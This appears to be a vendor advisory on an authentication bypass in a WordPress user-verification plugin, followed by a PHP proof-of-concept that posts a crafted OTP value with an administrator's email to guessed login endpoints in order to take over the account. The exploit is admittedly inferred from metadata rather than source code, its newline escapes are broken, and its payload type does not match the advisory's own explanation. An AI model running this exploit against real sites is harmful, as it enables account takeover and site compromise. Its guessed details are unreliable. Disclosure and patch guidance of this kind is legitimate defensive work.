Atomic Edge analysis of CVE-2026-7458 (metadata-based): This vulnerability describes an authentication bypass in the User Verification by PickPlugins plugin for WordPress, affecting versions up to 2.0.46. It allows unauthenticated attackers to log in as any user with a verified email, including administrators, with a CVSS score of 9.8 (Critical).
The root cause is a loose PHP comparison operator (== instead of ===) in the OTP verification logic of the user_verification_form_wrap_process_otpLogin function. PHP’s loose comparison can coerce unexpected types. When an attacker submits a boolean ‘true’ value as the OTP code, PHP’s loose comparison may evaluate to true against any stored OTP, bypassing authentication. This is inferred from the CWE (288) and the description, as no source code diff exists. The vulnerability targets a REST API endpoint or AJAX handler that processes OTP login requests, likely under the plugin slug ‘user-verification’.
Exploitation is straightforward. An attacker sends a POST request to the vulnerable endpoint (likely /wp-json/user-verification/v1/otp-login or an AJAX action like user_verification_otp_login) with parameters for user identification (email or user ID) and a crafted OTP value. The critical payload is submitting ‘otp’: ‘true’ or ‘otp’: true, which the loose comparison treats as a boolean match. The attacker does not need authentication. The endpoint must accept other required parameters, but the OTP bypass is the key vector.
Remediation requires changing the loose comparison operator (==) to a strict comparison operator (===) in the PHP code. The plugin should validate the OTP type and ensure it is a numeric string before comparison. Atomic Edge recommends a patch that strictly type-checks the OTP input and compares using ===. The vendor addressed this in version 2.0.47.
Impact is critical. Successful exploitation gives an attacker authenticated access to any user account with a verified email. If they target an administrator account, they gain full WordPress admin privileges, leading to site takeover, data exfiltration, malware injection, and complete compromise of the site and its data.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7458 - User Verification by PickPlugins <= 2.0.46 - Unauthenticated Authentication Bypass via OTP Verification REST API Endpoint
// Configuration
$target_url = 'https://example.com'; // Change this to the target WordPress site
$admin_user_email = 'admin@example.com'; // Email of the target user (must be verified)
// The vulnerable endpoint (metadata-based inference, adjust if different)
// Common endpoints: REST API route or AJAX action
$endpoints = [
'/wp-json/user-verification/v1/otp-login',
'/wp-admin/admin-ajax.php?action=user_verification_otp_login',
];
// OTP payload: the 'true' value to exploit loose comparison
$payload = 'true';
$ch = curl_init();
foreach ($endpoints as $endpoint) {
$url = rtrim($target_url, '/') . $endpoint;
// Build POST data - adjust parameter names based on real plugin (email, user_email, user_id, otp, code, etc.)
$post_data = [
'email' => $admin_user_email,
'otp' => $payload,
];
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
CURLOPT_HEADER => true,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_SSL_VERIFYPEER => false, // For testing; remove in production
CURLOPT_TIMEOUT => 30,
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code === 200) {
echo "[+] Possible successful login to $admin_user_email via endpoint: $endpointn";
echo "[+] HTTP Status: $http_coden";
echo "[+] Check response for cookie or redirect (indicates authenticated session).n";
echo $response;
exit;
} else {
echo "[-] Endpoint $endpoint returned HTTP $http_code. Trying next...n";
}
}
curl_close($ch);
echo "[-] Authentication bypass failed. The endpoint or parameter names may differ.n";
echo "[*] Adjust endpoint URLs and POST parameter names (e.g., user_email, user_id, code) based on actual plugin code.n";
